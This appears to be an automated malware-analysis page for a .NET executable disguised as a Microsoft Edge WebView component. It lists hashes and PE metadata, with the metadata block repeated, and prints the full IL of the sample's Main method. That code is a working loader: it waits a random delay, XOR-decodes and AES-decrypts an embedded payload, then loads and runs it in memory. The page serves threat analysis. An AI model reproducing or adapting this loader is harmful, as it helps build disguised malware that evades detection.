Deep Malware Analysis of 150cd29ec3f3156808da6121512c6bfc | md5: 150cd29ec3f3156808da6121512c6bfc | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.15

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

File

Type

Portable Executable file

Size

1.17 MB · 1,174,528 B

First seen

2026-08-25 14:45 · 2 months ago

Last seen

2026-08-25 14:45 · 2 months ago

Last analysis

2026-08-25 14:45 · 2 months ago

Hashes

MD5 150cd29ec3f3156808da6121512c6bfc Sha1 06d5768088624218d0e571a136fcd3c01fd945b4 Sha256 3b898adef43e54e9682f1358401ba2300ec3f39de75e2939d23e2bd60a725de6 Sha384 f9af0de537f88644f0e727ccc0cc9f3b410b452c46c5373183c6a731bc475246a9bcc1fd46a4e704ca385e74a81cecaf Sha512 a7e7d6063d2ca59cfc67d63e886b14f51136338af64e4edf7747d7e4d69df9d99e1a0800532c886d282dac01f6a4ca166945c3715b32f486d048534584bb9cab SSDeep 12288:V1GeJQD1AYaqT1SDrNxUIy7UE2N9lrqJJyxvcG8uFqrT8BoGWTr/ZPgVw6fHQx9j:V1G9TSHJ4wqg5wQa3CKH3i TLSH C045D8243DFB502DB073FEA65FD8B5EAD96FF632260A646A1041034B4713D81DE9293E

Detection

PeID

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Symbol obfuscation

Very low

3 files

EXE150cd29ec3f3156808da6121512c6bfc

Structure

BINResources

STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	msedgewebview_798ac5ed.exe
Full Name	msedgewebview_798ac5ed.exe
EntryPoint	System.Void Microsoft.Edge.WebView.Program::Main()
Scope Name	msedgewebview_798ac5ed.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	msedgewebview_798ac5ed
Assembly Version	118.0.2088.76
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	2
Main Method	System.Void Microsoft.Edge.WebView.Program::Main()
Main IL Instruction Count	177
Main IL	newobj System.Void System.Random::.ctor() ldc.i4 2000 ldc.i4 5000 callvirt System.Int32 System.Random::Next(System.Int32,System.Int32) call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Microsoft.Edge.WebView.Program::_k call System.Byte[] System.Convert::FromBase64String(System.String) stloc.0 <null> ldsfld System.String Microsoft.Edge.WebView.Program::_d call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_0045: ldloc.2 ldloc.1 <null> ldloc.2 <null> ldloc.1 <null> ldloc.2 <null> ldelem.u1 <null> ldloc.0 <null> ldloc.2 <null> ldc.i4.s 16 rem <null> ldelem.u1 <null> xor <null> conv.u1 <null> stelem.i1 <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldloc.1 <null> ldlen <null> conv.i4 <null> blt.s IL_0033: ldloc.1 call System.Text.Encoding System.Text.Encoding::get_UTF8() ldloc.1 <null> callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stloc.3 <null> ldnull <null> stloc.1 <null> ldnull <null> stsfld System.String Microsoft.Edge.WebView.Program::_d ldloc.3 <null> call System.Byte[] System.Convert::FromBase64String(System.String) stloc.s V_4 ldnull <null> stloc.3 <null> ldc.i4.s 16 newarr System.Byte stloc.s V_5 ldloc.s V_4 ldc.i4.0 <null> ldloc.s V_5 ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) ldc.i4.s 32 newarr System.Byte stloc.s V_6 ldloc.s V_4 ldc.i4.s 16 ldloc.s V_6 ldc.i4.0 <null> ldc.i4.s 32 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.s 48 sub <null> newarr System.Byte stloc.s V_7 ldloc.s V_4 ldc.i4.s 48 ldloc.s V_7 ldc.i4.0 <null> ldloc.s V_7 ldlen <null> conv.i4 <null> call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) ldloc.s V_4 ldc.i4.0 <null> ldloc.s V_4 ldlen <null> conv.i4 <null> call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldnull <null> stloc.s V_4 call System.Security.Cryptography.Aes System.Security.Cryptography.Aes::Create() stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_8 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.s V_8 ldloc.s V_6 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_8 ldloc.s V_5 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_8 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() ldloc.s V_7 ldc.i4.0 <null> ldloc.s V_7 ldlen <null> conv.i4 <null> callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32) stloc.s V_9 ldloc.s V_8 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::Dispose() ldloc.s V_7 ldc.i4.0 <null> ldloc.s V_7 ldlen <null> conv.i4 <null> call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldloc.s V_6 ldc.i4.0 <null> ldc.i4.s 32 call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldloc.s V_5 ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldloc.s V_9 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_10 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_9 ldlen <null> conv.i4 <null> call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldnull <null> stloc.s V_9 ldc.i4.2 <null> ldc.i4.1 <null> call System.Void System.GC::Collect(System.Int32,System.GCCollectionMode) ldloc.s V_10 callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() stloc.s V_11 ldloc.s V_11 ldnull <null> call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo) brfalse.s IL_018E: ldc.i4 60000 ldloc.s V_11 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> brtrue.s IL_0171: ldloc.s V_11 ldloc.s V_11 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> br.s IL_018E: ldc.i4 60000 ldloc.s V_11 ldnull <null> ldc.i4.1 <null> newarr System.Object stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldc.i4.0 <null> newarr System.String stelem.ref <null> ldloc.s V_12 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ldc.i4 60000 call System.Void System.Threading.Thread::Sleep(System.Int32) br.s IL_018E: ldc.i4 60000
Module Name	msedgewebview_798ac5ed.exe
Full Name	msedgewebview_798ac5ed.exe
EntryPoint	System.Void Microsoft.Edge.WebView.Program::Main()
Scope Name	msedgewebview_798ac5ed.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	msedgewebview_798ac5ed
Assembly Version	118.0.2088.76
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	2
Main Method	System.Void Microsoft.Edge.WebView.Program::Main()
Main IL Instruction Count	177
Main IL	newobj System.Void System.Random::.ctor() ldc.i4 2000 ldc.i4 5000 callvirt System.Int32 System.Random::Next(System.Int32,System.Int32) call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Microsoft.Edge.WebView.Program::_k call System.Byte[] System.Convert::FromBase64String(System.String) stloc.0 <null> ldsfld System.String Microsoft.Edge.WebView.Program::_d call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_0045: ldloc.2 ldloc.1 <null> ldloc.2 <null> ldloc.1 <null> ldloc.2 <null> ldelem.u1 <null> ldloc.0 <null> ldloc.2 <null> ldc.i4.s 16 rem <null> ldelem.u1 <null> xor <null> conv.u1 <null> stelem.i1 <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldloc.1 <null> ldlen <null> conv.i4 <null> blt.s IL_0033: ldloc.1 call System.Text.Encoding System.Text.Encoding::get_UTF8() ldloc.1 <null> callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stloc.3 <null> ldnull <null> stloc.1 <null> ldnull <null> stsfld System.String Microsoft.Edge.WebView.Program::_d ldloc.3 <null> call System.Byte[] System.Convert::FromBase64String(System.String) stloc.s V_4 ldnull <null> stloc.3 <null> ldc.i4.s 16 newarr System.Byte stloc.s V_5 ldloc.s V_4 ldc.i4.0 <null> ldloc.s V_5 ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) ldc.i4.s 32 newarr System.Byte stloc.s V_6 ldloc.s V_4 ldc.i4.s 16 ldloc.s V_6 ldc.i4.0 <null> ldc.i4.s 32 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.s 48 sub <null> newarr System.Byte stloc.s V_7 ldloc.s V_4 ldc.i4.s 48 ldloc.s V_7 ldc.i4.0 <null> ldloc.s V_7 ldlen <null> conv.i4 <null> call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) ldloc.s V_4 ldc.i4.0 <null> ldloc.s V_4 ldlen <null> conv.i4 <null> call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldnull <null> stloc.s V_4 call System.Security.Cryptography.Aes System.Security.Cryptography.Aes::Create() stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_8 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.s V_8 ldloc.s V_6 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_8 ldloc.s V_5 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_8 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() ldloc.s V_7 ldc.i4.0 <null> ldloc.s V_7 ldlen <null> conv.i4 <null> callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32) stloc.s V_9 ldloc.s V_8 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::Dispose() ldloc.s V_7 ldc.i4.0 <null> ldloc.s V_7 ldlen <null> conv.i4 <null> call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldloc.s V_6 ldc.i4.0 <null> ldc.i4.s 32 call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldloc.s V_5 ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldloc.s V_9 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_10 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_9 ldlen <null> conv.i4 <null> call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32) ldnull <null> stloc.s V_9 ldc.i4.2 <null> ldc.i4.1 <null> call System.Void System.GC::Collect(System.Int32,System.GCCollectionMode) ldloc.s V_10 callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() stloc.s V_11 ldloc.s V_11 ldnull <null> call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo) brfalse.s IL_018E: ldc.i4 60000 ldloc.s V_11 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> brtrue.s IL_0171: ldloc.s V_11 ldloc.s V_11 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> br.s IL_018E: ldc.i4 60000 ldloc.s V_11 ldnull <null> ldc.i4.1 <null> newarr System.Object stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldc.i4.0 <null> newarr System.String stelem.ref <null> ldloc.s V_12 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ldc.i4 60000 call System.Void System.Threading.Thread::Sleep(System.Int32) br.s IL_018E: ldc.i4 60000